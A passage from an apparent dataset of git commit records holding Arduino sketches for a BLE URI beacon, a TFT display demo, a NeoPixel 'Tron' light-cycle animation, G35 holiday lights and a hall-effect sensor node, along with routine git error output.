Physical-Web example for RFDigital RFduino\n\n#include <RFduinoBLE.h>\n\nuint8_t advdata[] =\n{\n 0x03, \/\/ length\n 0x03, \/\/ Param: Service List\n 0xD8, 0xFE, \/\/ URI Beacon ID\n 0x0A, \/\/ length\n 0x16, \/\/ Service Data\n 0xD8, 0xFE, \/\/ URI Beacon ID\n 0x00, \/\/ flags\n 0x20, \/\/ power\n 0x00, \/\/ http:\/\/www.\n 'A',\n 'B',\n 'C',\n 0x07, \/\/ .\".com\"\n};\n\nvoid setup() {\n RFduinoBLE_advdata = advdata;\n RFduinoBLE_advdata_len = sizeof(advdata);\n RFduinoBLE.advertisementInterval = 1000; \/\/ advertise every 1000ms\n RFduinoBLE.begin();\n}\n\nvoid loop() {\n RFduino_ULPDelay(INFINITE); \/\/ switch to lower power mode\n}\n","old_contents":"# Physical-Web example for RFDigital RFduino\n\n#include <RFduinoBLE.h>\n\nuint8_t advdata[] =\n{\n 0x03, \/\/ length\n 0x03, \/\/ Param: Service List\n 0xD8, 0xFE, \/\/ URI Beacon ID\n 0x0A, \/\/ length\n 0x16, \/\/ Service Data\n 0xD8, 0xFE, \/\/ URI Beacon ID\n 0x00, \/\/ flags\n 0x20, \/\/ power\n 0x00, \/\/ http:\/\/www.\n 'A',\n 'B',\n 'C',\n 0x07, \/\/ .\".com\"\n};\n\nvoid setup() {\n RFduinoBLE_advdata = advdata;\n RFduinoBLE_advdata_len = sizeof(advdata);\n RFduinoBLE.advertisementInterval = 1000; \/\/ advertise every 1000ms\n RFduinoBLE.begin();\n}\n\nvoid loop() {\n RFduino_ULPDelay(INFINITE); \/\/ switch to lower power mode\n}\n","returncode":0,"stderr":"","license":"apache-2.0","lang":"Arduino"} {"commit":"f725bcd241fb3fe20ff3a8be847eab7c07b8e853","subject":"Simple screen message to impress people","message":"Simple screen message to impress people\n","repos":"bleepr\/bleepr,bleepr\/bleepr","old_file":"ArduinoCode\/bleeprgraphics\/bleeprgraphics.ino","new_file":"ArduinoCode\/bleeprgraphics\/bleeprgraphics.ino","new_contents":"\/***************************************************\n This is our GFX example for the Adafruit ILI9341 Breakout and Shield\n ----> http:\/\/www.adafruit.com\/products\/1651\n\n Check out the links above for our tutorials and wiring diagrams\n These displays use SPI to communicate, 4 or 5 pins are required to\n interface (RST is optional)\n Adafruit invests time and resources providing this open source code,\n please support Adafruit and open-source hardware by purchasing\n products from Adafruit!\n\n Written by Limor Fried\/Ladyada for Adafruit Industries.\n MIT license, all text above must be included in any redistribution\n ****************************************************\/\n\n\n#include \"SPI.h\"\n#include \"Adafruit_GFX.h\"\n#include \"Adafruit_ILI9341.h\"\n\n\/\/ Custom pins like\n#define TFT_DC 5\n#define TFT_CS 7\n#define TFT_MOSI 4\n#define TFT_CLK 3\n#define TFT_RST 6\n#define TFT_MISO 2\n\n\/\/ Use hardware SPI (on Uno, #13, #12, #11) and the above for CS\/DC\n\/\/Adafruit_ILI9341 tft = Adafruit_ILI9341(TFT_CS, TFT_DC);\n\/\/ If using the breakout, change pins as desired\nAdafruit_ILI9341 tft = Adafruit_ILI9341(TFT_CS, TFT_DC, TFT_MOSI, TFT_CLK, TFT_RST, TFT_MISO);\n\nvoid setup() {\n Serial.begin(9600);\n Serial.println(\"ILI9341 Test!\"); \n \n tft.begin();\n\n\/\/ \/\/ read diagnostics (optional but can help debug problems)\n\/\/ uint8_t x = tft.readcommand8(ILI9341_RDMODE);\n\/\/ Serial.print(\"Display Power Mode: 0x\"); Serial.println(x, HEX);\n\/\/ x = tft.readcommand8(ILI9341_RDMADCTL);\n\/\/ Serial.print(\"MADCTL Mode: 0x\"); Serial.println(x, HEX);\n\/\/ x = tft.readcommand8(ILI9341_RDPIXFMT);\n\/\/ Serial.print(\"Pixel Format: 0x\"); Serial.println(x, HEX);\n\/\/ x = tft.readcommand8(ILI9341_RDIMGFMT);\n\/\/ Serial.print(\"Image Format: 0x\"); Serial.println(x, HEX);\n\/\/ x = tft.readcommand8(ILI9341_RDSELFDIAG);\n\/\/ Serial.print(\"Self Diagnostic: 0x\"); Serial.println(x, HEX); \n\/\/ \n\/\/ Serial.println(F(\"Benchmark Time (microseconds)\"));\n\/\/\n\/\/ Serial.print(F(\"Screen fill \"));\n\/\/ Serial.println(testFillScreen());\n\/\/ delay(500);\n\/\/\n\/\/ Serial.print(F(\"Text \"));\n\/\/ Serial.println(testText());\n\/\/ delay(3000);\n\/\/\n\/\/ Serial.print(F(\"Lines \"));\n\/\/ Serial.println(testLines(ILI9341_CYAN));\n\/\/ delay(500);\n\/\/\n\/\/ Serial.print(F(\"Horiz\/Vert Lines \"));\n\/\/ Serial.println(testFastLines(ILI9341_RED, ILI9341_BLUE));\n\/\/ delay(500);\n\/\/\n\/\/ Serial.print(F(\"Rectangles (outline) \"));\n\/\/ Serial.println(testRects(ILI9341_GREEN));\n\/\/ delay(500);\n\/\/\n\/\/ Serial.print(F(\"Rectangles (filled) \"));\n\/\/ Serial.println(testFilledRects(ILI9341_YELLOW, ILI9341_MAGENTA));\n\/\/ delay(500);\n\/\/\n\/\/ Serial.print(F(\"Circles (filled) \"));\n\/\/ Serial.println(testFilledCircles(10, ILI9341_MAGENTA));\n\/\/\n\/\/ Serial.print(F(\"Circles (outline) \"));\n\/\/ Serial.println(testCircles(10, ILI9341_WHITE));\n\/\/ delay(500);\n\/\/\n\/\/ Serial.print(F(\"Triangles (outline) \"));\n\/\/ Serial.println(testTriangles());\n\/\/ delay(500);\n\/\/\n\/\/ Serial.print(F(\"Triangles (filled) \"));\n\/\/ Serial.println(testFilledTriangles());\n\/\/ delay(500);\n\/\/\n\/\/ Serial.print(F(\"Rounded rects (outline) \"));\n\/\/ Serial.println(testRoundRects());\n\/\/ delay(500);\n\/\/\n\/\/ Serial.print(F(\"Rounded rects (filled) \"));\n\/\/ Serial.println(testFilledRoundRects());\n\/\/ delay(500);\n\/\/\n\/\/ Serial.println(F(\"Done!\"));\n\n}\n\n\nvoid loop(void) {\n for(uint8_t rotation=1; rotation<4; rotation = rotation + 2) {\n tft.setRotation(rotation);\n testText();\n delay(1000);\n }\n}\n\nunsigned long testFillScreen() {\n unsigned long start = micros();\n tft.fillScreen(ILI9341_BLACK);\n tft.fillScreen(ILI9341_RED);\n tft.fillScreen(ILI9341_GREEN);\n tft.fillScreen(ILI9341_BLUE);\n tft.fillScreen(ILI9341_BLACK);\n return micros() - start;\n}\n\nunsigned long testText() {\n tft.fillScreen(ILI9341_BLACK);\n unsigned long start = micros();\n tft.setCursor(0, 75);\n\/\/ tft.setTextColor(ILI9341_WHITE); tft.setTextSize(1);\n\/\/ tft.println(\"Hello World!\");\n\/\/ tft.setTextColor(ILI9341_YELLOW); tft.setTextSize(2);\n\/\/ tft.println(1234.56);\n tft.setTextColor(ILI9341_RED); tft.setTextSize(5);\n\/\/ tft.println(0xDEADBEEF, HEX);\n\/\/ tft.println();\n\/\/ tft.setTextColor(ILI9341_GREEN);\n\/\/ tft.setTextSize(5);\n tft.println(\"bleepr\");\n \n delay(1500);\n \n tft.setTextColor(ILI9341_WHITE);\n tft.setTextSize(2);\n \n tft.println();\n \n tft.println(\"Smart Tables\");\n delay(1000);\n tft.println(\"Smart Restaurants\");\n \n delay(2000);\n\/\/ tft.setTextSize(2);\n\/\/ tft.println(\"I implore thee,\");\n\/\/ tft.setTextSize(1);\n\/\/ tft.println(\"my foonting turlingdromes.\");\n\/\/ tft.println(\"And hooptiously drangle me\");\n\/\/ tft.println(\"with crinkly bindlewurdles,\");\n\/\/ tft.println(\"Or I will rend thee\");\n\/\/ tft.println(\"in the gobberwarts\");\n\/\/ tft.println(\"with my blurglecruncheon,\");\n\/\/ tft.println(\"see if I don't!\");\n return micros() - start;\n}\n\nunsigned long testLines(uint16_t color) {\n unsigned long start, t;\n int x1, y1, x2, y2,\n w = tft.width(),\n h = tft.height();\n\n tft.fillScreen(ILI9341_BLACK);\n\n x1 = y1 = 0;\n y2 = h - 1;\n start = micros();\n for(x2=0; x2<w; x2+=6) tft.drawLine(x1, y1, x2, y2, color);\n x2 = w - 1;\n for(y2=0; y2<h; y2+=6) tft.drawLine(x1, y1, x2, y2, color);\n t = micros() - start; \/\/ fillScreen doesn't count against timing\n\n tft.fillScreen(ILI9341_BLACK);\n\n x1 = w - 1;\n y1 = 0;\n y2 = h - 1;\n start = micros();\n for(x2=0; x2<w; x2+=6) tft.drawLine(x1, y1, x2, y2, color);\n x2 = 0;\n for(y2=0; y2<h; y2+=6) tft.drawLine(x1, y1, x2, y2, color);\n t += micros() - start;\n\n tft.fillScreen(ILI9341_BLACK);\n\n x1 = 0;\n y1 = h - 1;\n y2 = 0;\n start = micros();\n for(x2=0; x2<w; x2+=6) tft.drawLine(x1, y1, x2, y2, color);\n x2 = w - 1;\n for(y2=0; y2<h; y2+=6) tft.drawLine(x1, y1, x2, y2, color);\n t += micros() - start;\n\n tft.fillScreen(ILI9341_BLACK);\n\n x1 = w - 1;\n y1 = h - 1;\n y2 = 0;\n start = micros();\n for(x2=0; x2<w; x2+=6) tft.drawLine(x1, y1, x2, y2, color);\n x2 = 0;\n for(y2=0; y2<h; y2+=6) tft.drawLine(x1, y1, x2, y2, color);\n\n return micros() - start;\n}\n\nunsigned long testFastLines(uint16_t color1, uint16_t color2) {\n unsigned long start;\n int x, y, w = tft.width(), h = tft.height();\n\n tft.fillScreen(ILI9341_BLACK);\n start = micros();\n for(y=0; y<h; y+=5) tft.drawFastHLine(0, y, w, color1);\n for(x=0; x<w; x+=5) tft.drawFastVLine(x, 0, h, color2);\n\n return micros() - start;\n}\n\nunsigned long testRects(uint16_t color) {\n unsigned long start;\n int n, i, i2,\n cx = tft.width() \/ 2,\n cy = tft.height() \/ 2;\n\n tft.fillScreen(ILI9341_BLACK);\n n = min(tft.width(), tft.height());\n start = micros();\n for(i=2; i<n; i+=6) {\n i2 = i \/ 2;\n tft.drawRect(cx-i2, cy-i2, i, i, color);\n }\n\n return micros() - start;\n}\n\nunsigned long testFilledRects(uint16_t color1, uint16_t color2) {\n unsigned long start, t = 0;\n int n, i, i2,\n cx = tft.width() \/ 2 - 1,\n cy = tft.height() \/ 2 - 1;\n\n tft.fillScreen(ILI9341_BLACK);\n n = min(tft.width(), tft.height());\n for(i=n; i>0; i-=6) {\n i2 = i \/ 2;\n start = micros();\n tft.fillRect(cx-i2, cy-i2, i, i, color1);\n t += micros() - start;\n \/\/ Outlines are not included in timing results\n tft.drawRect(cx-i2, cy-i2, i, i, color2);\n }\n\n return t;\n}\n\nunsigned long testFilledCircles(uint8_t radius, uint16_t color) {\n unsigned long start;\n int x, y, w = tft.width(), h = tft.height(), r2 = radius * 2;\n\n tft.fillScreen(ILI9341_BLACK);\n start = micros();\n for(x=radius; x<w; x+=r2) {\n for(y=radius; y<h; y+=r2) {\n tft.fillCircle(x, y, radius, color);\n }\n }\n\n return micros() - start;\n}\n\nunsigned long testCircles(uint8_t radius, uint16_t color) {\n unsigned long start;\n int x, y, r2 = radius * 2,\n w = tft.width() + radius,\n h = tft.height() + radius;\n\n \/\/ Screen is not cleared for this one -- this is\n \/\/ intentional and does not affect the reported time.\n start = micros();\n for(x=0; x<w; x+=r2) {\n for(y=0; y<h; y+=r2) {\n tft.drawCircle(x, y, radius, color);\n }\n }\n\n return micros() - start;\n}\n\nunsigned long testTriangles() {\n unsigned long start;\n int n, i, cx = tft.width() \/ 2 - 1,\n cy = tft.height() \/ 2 - 1;\n\n tft.fillScreen(ILI9341_BLACK);\n n = min(cx, cy);\n start = micros();\n for(i=0; i<n; i+=5) {\n tft.drawTriangle(\n cx , cy - i, \/\/ peak\n cx - i, cy + i, \/\/ bottom left\n cx + i, cy + i, \/\/ bottom right\n tft.color565(0, 0, i));\n }\n\n return micros() - start;\n}\n\nunsigned long testFilledTriangles() {\n unsigned long start, t = 0;\n int i, cx = tft.width() \/ 2 - 1,\n cy = tft.height() \/ 2 - 1;\n\n tft.fillScreen(ILI9341_BLACK);\n start = micros();\n for(i=min(cx,cy); i>10; i-=5) {\n start = micros();\n tft.fillTriangle(cx, cy - i, cx - i, cy + i, cx + i, cy + i,\n tft.color565(0, i, i));\n t += micros() - start;\n tft.drawTriangle(cx, cy - i, cx - i, cy + i, cx + i, cy + i,\n tft.color565(i, i, 0));\n }\n\n return t;\n}\n\nunsigned long testRoundRects() {\n unsigned long start;\n int w, i, i2,\n cx = tft.width() \/ 2 - 1,\n cy = tft.height() \/ 2 - 1;\n\n tft.fillScreen(ILI9341_BLACK);\n w = min(tft.width(), tft.height());\n start = micros();\n for(i=0; i<w; i+=6) {\n i2 = i \/ 2;\n tft.drawRoundRect(cx-i2, cy-i2, i, i, i\/8, tft.color565(i, 0, 0));\n }\n\n return micros() - start;\n}\n\nunsigned long testFilledRoundRects() {\n unsigned long start;\n int i, i2,\n cx = tft.width() \/ 2 - 1,\n cy = tft.height() \/ 2 - 1;\n\n tft.fillScreen(ILI9341_BLACK);\n start = micros();\n for(i=min(tft.width(), tft.height()); i>20; i-=6) {\n i2 = i \/ 2;\n tft.fillRoundRect(cx-i2, cy-i2, i, i, i\/8, tft.color565(0, i, 0));\n }\n\n return micros() - start;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ArduinoCode\/bleeprgraphics\/bleeprgraphics.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"775377400704d865b9e47d4b6d4a1015b8d0e6b2","subject":"Updated formats of accelration values","message":"Updated formats of accelration values\n\nReversed Tx Rx\n","repos":"ashwinpilgaonkar\/Flick,ashwinpilgaonkar\/Flick,ashwinpilgaonkar\/Flick","old_file":"BitBangingMpu6050\/Right Hand Arduino Code.ino","new_file":"BitBangingMpu6050\/Right Hand Arduino Code.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'BitBangingMpu6050\/Right' did not match any file(s) known to git\nerror: pathspec 'Hand' did not match any file(s) known to git\nerror: pathspec 'Arduino' did not match any file(s) known to git\nerror: pathspec 'Code.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"f186ea1308e0f2ab9836ab1cdd1421063612ec1c","subject":"Added lcdChoose","message":"Added lcdChoose\n","repos":"mojtabacazi\/Arduino-Additions","old_file":"LCDHelper\/LCDHelper.ino","new_file":"LCDHelper\/LCDHelper.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/mojtabacazi\/Arduino-Additions.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"e777b39f1ffffd98eea1d316852bc443ed02d6b7","subject":"Add a Tron Light Cycle animation test for the rim. Dunno how to work the Animations in Light.ino.","message":"Add a Tron Light Cycle animation test for the rim. Dunno how to work the Animations in Light.ino.\n","repos":"akaylyn\/simon,akaylyn\/simon,akaylyn\/simon,akaylyn\/simon,akaylyn\/simon,akaylyn\/simon","old_file":"tests\/Console\/Tron_Cycles\/Tron_Cycles.ino","new_file":"tests\/Console\/Tron_Cycles\/Tron_Cycles.ino","new_contents":"\/\/#include <Adafruit_GFX.h>\n#include <Adafruit_NeoPixel.h>\n#include <Streaming.h>\n#include <Metro.h>\n\n\/\/ GRN > RED\n\/\/ ^ v\n\/\/ YEL < BLU\n\n#define RIM_PIN 13 \n#define RIM_X 20 \n#define RIM_Y 3 \n#define RIM_SEG_LENGTH RIM_X\/4 \/\/ floor(RIM_N\/4)=27\n#define RED_OFFSET 12\n#define RED_X (RED_OFFSET + RIM_SEG_LENGTH) % RIM_X\n#define BLU_X (RED_X + RIM_SEG_LENGTH) % RIM_X\n#define YEL_X (BLU_X + RIM_SEG_LENGTH) % RIM_X\n#define GRN_X (YEL_X + RIM_SEG_LENGTH) % RIM_X\n#define ALL_Y 1\n\n#define UPDATE_INTERVAL 100UL\nMetro updateCycles(UPDATE_INTERVAL);\n\n#define ADD_INTERVAL 1000UL\nMetro addCycles(ADD_INTERVAL);\n\nAdafruit_NeoPixel rimJob = Adafruit_NeoPixel(RIM_X*RIM_Y, RIM_PIN, NEO_GRB + NEO_KHZ800);\n\nconst uint32_t Red = rimJob.Color(255, 0, 0);\nconst uint32_t Yel = rimJob.Color(255, 255, 0);\nconst uint32_t Grn = rimJob.Color(0, 255, 0);\nconst uint32_t Blu = rimJob.Color(0, 0, 255);\nconst uint32_t Dead = rimJob.Color(0, 0, 0);\nconst uint32_t White = rimJob.Color(255, 255, 255);\n\n\/\/ tracks the cycles\ntypedef struct {\n boolean live; \/\/ live or dead\n uint32_t x,y; \/\/ location\n uint32_t color; \/\/ color of the cycle\n} cycle_t;\n\n#define MAX_CYCLES 20\ncycle_t cycles[MAX_CYCLES];\n\nvoid setup() {\n \n Serial.begin(115200);\n \n \/\/ put your setup code here, to run once:\n \/\/ Neopixel strips\n rimJob.begin();\n\n \/\/ clear strip\n for( int p=0; p<rimJob.numPixels(); p++ ) rimJob.setPixelColor(p, Dead);\n \n Serial << F(\"numPixels: \") << rimJob.numPixels() << endl;\n\n \/\/ clear cycles\n for( int c=0; c<MAX_CYCLES; c++ ) {\n cycles[c].live=false;\n }\n \n addCycle(RED_X, ALL_Y, Red);\n addCycle(GRN_X, ALL_Y, Grn);\n addCycle(BLU_X, ALL_Y, Blu);\n addCycle(YEL_X, ALL_Y, Yel);\n \n Serial << F(\"Startup complete.\") << endl;\n \n rimJob.show();\n serialPrint();\n\n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n if( updateCycles.check() ) {\n fadeCycles();\n moveCycles();\n serialPrint();\n rimJob.show();\n }\n if( addCycles.check() ) { \n switch( random(0,4) ) {\n case 0: addCycle(RED_X, ALL_Y, Red); break;\n case 1: addCycle(GRN_X, ALL_Y, Grn); break;\n case 2: addCycle(BLU_X, ALL_Y, Blu); break;\n case 3: addCycle(YEL_X, ALL_Y, Yel); break;\n }\n }\n}\n\nvoid serialPrint() {\n static unsigned long it=0;\n Serial << endl << it << F(\":\") << endl;\n for( int y=0; y<RIM_Y; y++) {\n for( int x=0; x<RIM_X; x++) {\n uint32_t c = rimJob.getPixelColor(getPixelN(x,y));\n boolean isC = isCycle(x,y);\n char p;\n \n if( isC && c==Red ) p = 'R';\n else if( isC && c==Grn ) p = 'G';\n else if( isC && c==Blu ) p = 'B';\n else if( isC && c==Yel ) p = 'Y';\n else if( isC ) p = '!'; \/\/ BAD: cycles have a color\n else if( c==Red ) p = 'r';\n else if( c==Grn ) p = 'g';\n else if( c==Blu ) p = 'b';\n else if( c==Yel ) p = 'y';\n else if( c==Dead ) p = ' ';\n else if( c==White ) p = '*';\n else p = '.'; \/\/ faded\/cycle trail\n \n Serial << p;\n }\n Serial << endl;\n }\n \n it++;\n}\n\n\/\/ looks for active cycle at a pixel location\nboolean isCycle(int x, int y) {\n for( int c=0; c<MAX_CYCLES; c++ ) {\n if( cycles[c].live && cycles[c].x==x && cycles[c].y==y ) \n return( true );\n }\n return( false );\n}\n\nvoid addCycle(uint32_t x, uint32_t y, uint32_t color) {\n \n byte availableCycle=0;\n while( cycles[availableCycle].live ) { \n availableCycle++;\n if( availableCycle == MAX_CYCLES ) {\n Serial << F(\"addCycle error. no available cycle slots. Halting!\") << endl;\n while(1);\n }\n }\n \n rimJob.setPixelColor(getPixelN(x,y), color);\n \n cycles[availableCycle].x = x;\n cycles[availableCycle].y = y;\n cycles[availableCycle].color = color;\n cycles[availableCycle].live = true;\n}\n\nvoid fadeCycles() {\n const int trailLength = RIM_SEG_LENGTH; \/\/ a light cycle leaves a trail as long as 1\/4 of the rim circumference\n const int fadeAmount = 255 \/ trailLength;\n \n for( int p=0; p<rimJob.numPixels(); p++ ) {\n uint32_t c = rimJob.getPixelColor(p);\n \n \/\/ assuming GRB order.\n byte red = constrain( (int)((c << 16) >> 24) - fadeAmount, 0, 255);\n byte green = constrain( (int)((c << 8) >> 24) - fadeAmount, 0, 255);\n byte blue = constrain( (int)((c << 24) >> 24) - fadeAmount, 0, 255);\n \n rimJob.setPixelColor(p, red, green, blue);\n }\n}\n\nvoid moveCycles() {\n for( byte c=0; c<MAX_CYCLES; c++ ) {\n if( cycles[c].live ) { \n moveThisCycle(c);\n }\n }\n}\n\nvoid moveThisCycle(byte c) {\n int cw = (int)cycles[c].x+1;\n if( cw<0 ) cw = RIM_X-1;\n else if ( cw >= RIM_X) cw = 0;\n \n int ccw = (int)cycles[c].x-1;\n if( ccw<0 ) ccw = RIM_X-1;\n else if ( ccw >= RIM_X) ccw = 0;\n\n uint32_t moveX[4] = {\n cw, \/\/ CW. wrap.\n ccw, \/\/ CCW. wrap\n cycles[c].x, \/\/ DOWN\n cycles[c].x, \/\/ UP \n };\n uint32_t moveY[4] = {\n cycles[c].y, \/\/ CW\n cycles[c].y, \/\/ CCW\n constrain(((int)cycles[c].y+1), 0, RIM_Y-1), \/\/ DOWN. no wrap.\n constrain(((int)cycles[c].y-1), 0, RIM_Y-1), \/\/ UP. no wrap.\n };\n \n \/\/ preference for moves\n byte movePref[4];\n\/*\n \/\/ prefer CW\/CCW over UP\/DOWN\n movePref[0]=random(0,2); \/\/ either CW or CCW.\n movePref[1]=movePref[0]==0 ? 1 : 0;\n movePref[2]=random(2,4); \/\/ either UP or DOWN.\n movePref[3]=movePref[2]==2 ? 3 : 2;\n*\/\n \/\/ equal preference\n movePref[0]=random(0,4); \/\/ any\n movePref[1]=(movePref[0]+1) % 4;\n movePref[2]=(movePref[1]+1) % 4;\n movePref[3]=(movePref[2]+1) % 4;\n\n \/\/ try some moves\n for( byte m=0; m<4; m++ ) {\n if( rimJob.getPixelColor(getPixelN(moveX[movePref[m]], moveY[movePref[m]])) == Dead ) {\n \/\/ good.\n cycles[c].x = moveX[movePref[m]];\n cycles[c].y = moveY[movePref[m]];\n \n rimJob.setPixelColor(getPixelN(cycles[c].x,cycles[c].y), cycles[c].color);\n \n return;\n }\n }\n \/\/ uh oh. smash!\n cycles[c].live = false;\n rimJob.setPixelColor(getPixelN(cycles[c].x,cycles[c].y), White);\n\n\/* \n Serial << \"Oh dear! Cycle \" << c << \" died.\" << endl;\n Serial << \"Moves available: \" << endl;\n for( byte m=0; m<4; m++ ) {\n Serial << \"X=\" << moveX[movePref[m]] << \" Y=\" << moveY[movePref[m]] << endl;\n }\n Serial << \"Result: \";\n *\/\n}\n\n\/\/ returns the i-th pixel mapped to x,y\nuint32_t getPixelN(uint32_t x, uint32_t y) {\n if( x >= RIM_X || y >= RIM_Y ) {\n Serial << F(\"getPixelN error: out of range. x=\") << x << F(\" y=\") << y << endl << F(\"Halting.\") << endl;\n while(1);\n }\n return( y*RIM_X + x ); \/\/ this could be right?\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'tests\/Console\/Tron_Cycles\/Tron_Cycles.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"976c0a4467cafee7dfc23d9e83b8d7d100c3d85e","subject":"Christmas 2012.","message":"Christmas 2012.\n","repos":"sowbug\/G35Arduino","old_file":"examples\/TiconXmas2012\/TiconXmas2012.ino","new_file":"examples\/TiconXmas2012\/TiconXmas2012.ino","new_contents":"\/* -*- mode: c; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2; -*-\n\n G35: An Arduino library for GE Color Effects G-35 holiday lights.\n Copyright \u00a9 2012 The G35 Authors. Use, modification, and distribution are\n subject to the BSD license as described in the accompanying LICENSE file.\n\n TiconXmas2012.ino is the code that I used for Christmas 2012 at my home.\n It's yet another demonstration of working code.\n\n By Mike Tsao <github.com\/sowbug>. See README for complete attributions.\n*\/\n\n#include <G35String.h>\n#include <G35StringGroup.h>\n#include <ProgramRunner.h>\n#include <StockPrograms.h>\n#include <PlusPrograms.h>\n#include <MEOPrograms.h>\n\n\/\/ Arduino with Like A G35 shield (https:\/\/github.com\/sowbug\/like-a-g35).\n\/\/ First string on pin 8. Second on 9. My roofline isn't quite long enough\n\/\/ for 100 lights, so I have the final 9 hidden.\nG35String lights_1(8, 50, 50, 0, false);\nG35String lights_2(9, 41);\n\nconst int PROGRAM_COUNT = StockProgramGroup::ProgramCount +\n PlusProgramGroup::ProgramCount + MEOProgramGroup::ProgramCount;\n\nStockProgramGroup stock_programs;\nPlusProgramGroup plus_programs;\nMEOProgramGroup meo_programs;\nG35StringGroup string_group;\n\nLightProgram* CreateProgram(uint8_t program_index) {\n program_index = random() % PROGRAM_COUNT;\n\n if (program_index < StockProgramGroup::ProgramCount) {\n return stock_programs.CreateProgram(string_group, program_index);\n }\n program_index -= StockProgramGroup::ProgramCount;\n\n if (program_index < PlusProgramGroup::ProgramCount) {\n return plus_programs.CreateProgram(string_group, program_index);\n }\n program_index -= PlusProgramGroup::ProgramCount;\n\n if (program_index < MEOProgramGroup::ProgramCount) {\n return meo_programs.CreateProgram(string_group, program_index);\n }\n program_index -= MEOProgramGroup::ProgramCount;\n\n return NULL;\n}\n\n\/\/ How long each program should run.\n#define PROGRAM_DURATION_SECONDS (90)\n\nProgramRunner runner(CreateProgram, PROGRAM_COUNT, PROGRAM_DURATION_SECONDS);\n\n\/\/ http:\/\/www.utopiamechanicus.com\/77\/better-arduino-random-numbers\/\n\/\/ We assume A0 and A1 are disconnected.\nuint32_t seedOut(unsigned int noOfBits) {\n uint32_t seed = 0, limit = 99;\n int bit0 = 0, bit1 = 0;\n while (noOfBits--) {\n for (int i = 0; i < limit; ++i) {\n bit0 = analogRead(0) & 1;\n bit1 = analogRead(1) & 1;\n if (bit1 != bit0)\n break;\n }\n seed = (seed << 1) | bit1;\n }\n return seed;\n}\n\nvoid setup() {\n uint32_t seed = seedOut(32);\n randomSeed(seed);\n seed &= 0xff;\n \/\/ random() isn't very random. But this seed generator works quite well.\n while (seed--) {\n random();\n }\n\n delay(50);\n lights_1.enumerate();\n lights_2.enumerate();\n\n lights_1.do_test_patterns();\n lights_2.do_test_patterns();\n\n string_group.AddString(&lights_1);\n string_group.AddString(&lights_2);\n}\n\nvoid loop() {\n runner.loop();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/TiconXmas2012\/TiconXmas2012.ino' did not match any file(s) known to git\n","license":"bsd-2-clause","lang":"Arduino"} {"commit":"8750200ad8eaa695e8993d45490976b7d23ecce3","subject":"halleffectsensor: initial commit","message":"halleffectsensor: initial commit\n","repos":"KristofRobot\/openhab-config,KristofRobot\/openhab-config,KristofRobot\/openhab-config","old_file":"sensors\/HallEffectSensor\/HallEffectSensor.ino","new_file":"sensors\/HallEffectSensor\/HallEffectSensor.ino","new_contents":"\/**\n * The MySensors Arduino library handles the wireless radio link and protocol\n * between your home built sensors\/actuators and HA controller of choice.\n * The sensors forms a self healing radio network with optional repeaters. Each\n * repeater and gateway builds a routing tables in EEPROM which keeps track of the\n * network topology allowing messages to be routed to nodes.\n *\n * Created by Henrik Ekblad <henrik.ekblad@mysensors.org>\n * Copyright (C) 2013-2015 Sensnology AB\n * Full contributor list: https:\/\/github.com\/mysensors\/Arduino\/graphs\/contributors\n *\n * Documentation: http:\/\/www.mysensors.org\n * Support Forum: http:\/\/forum.mysensors.org\n *\n * This program is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU General Public License\n * version 2 as published by the Free Software Foundation.\n *\n *******************************\n *\n * REVISION HISTORY\n * Version 0.1 - Based on humidity sensor by Henrik EKblad\n * \n * DESCRIPTION\n * This sketch implements hall effect sensor monitoring\n * based on http:\/\/www.mysensors.org\/build\/humidity\n *\/\n \n\/\/ Enable debug prints\n\/\/#define MY_DEBUG\n\n\/\/ Enable and select radio type attached\n#define MY_RADIO_NRF24\n\/\/#define MY_RADIO_RFM69\n\n#define MY_NODE_ID 6 \/\/manual node id\n\/\/#define MY_DISABLED_SERIAL \/\/disable serial\n\n#include <SPI.h>\n#include <MySensor.h> \n#include <DHT.h> \n\n#define CHILD_ID_HALL 0\nint HALL_SENSOR_ANALOG_PIN = A5;\nunsigned long SLEEP_TIME = 30000; \/\/ Sleep time between reads (in milliseconds)\n\n\/\/int BATTERY_SENSE_PIN = A0; \/\/ select the input pin for the battery sense point\nint SAMPLES=100; \/\/how many samples to take for voltage reading\nconst long InternalReferenceVoltage = 1080L; \/\/ Detected using the method described at http:\/\/arduino.cc\/forum\/index.php\/topic,38119.0.html\n\/\/3 - 1080\n\/\/5 - 1095\n\/\/const int MIN_BATTERY = 700; \/\/2 li Ion batteries, minimum is 7V\n\/\/const int MAX_BATTERY = 840; \/\/2 li Ion batteries, max is 8.4V\n\n\/\/NiMH - note: discharge curve of NiMH is almost flat at 1.2V for most of the time - i.e. voltage measurement is not a very good indicator\n\/\/const int MIN_BATTERY = 660; \/\/6 NiMH cell pack, minimum is 6.6V (in theory 0.9V per cell, i.e. 5.4V, but since 6 in series, be conservative)\n\/\/const int MAX_BATTERY = 840; \/\/6 NiMH cell pack, max is 8.4V \n\n\/\/NiMH - note: discharge curve of NiMH is almost flat at 1.2V for most of the time - i.e. voltage measurement is not a very good indicator\nconst int MIN_BATTERY = 440; \/\/4 NiMH cell pack, minimum is 6.6V (in theory 0.9V per cell, i.e. 5.4V, but since 6 in series, be conservative)\nconst int MAX_BATTERY = 560; \/\/4 NiMH cell pack, max is 8.4V \n\n\/\/abusing temp for now\nMyMessage msgHall(CHILD_ID_HALL, V_TEMP);\n\n\nvoid setup() \n{ \n \/\/Serial.begin(115200);\n}\n\nvoid presentation() \n{ \n \/\/ Send the Sketch Version Information to the Gateway\n sendSketchInfo(\"HallEffectBattery\", \"0.1\");\n\n \/\/ Register all sensors to gw (they will be created as child devices)\n present(CHILD_ID_HALL, S_TEMP);\n}\n\n\nvoid loop() \n{ \n \/\/get 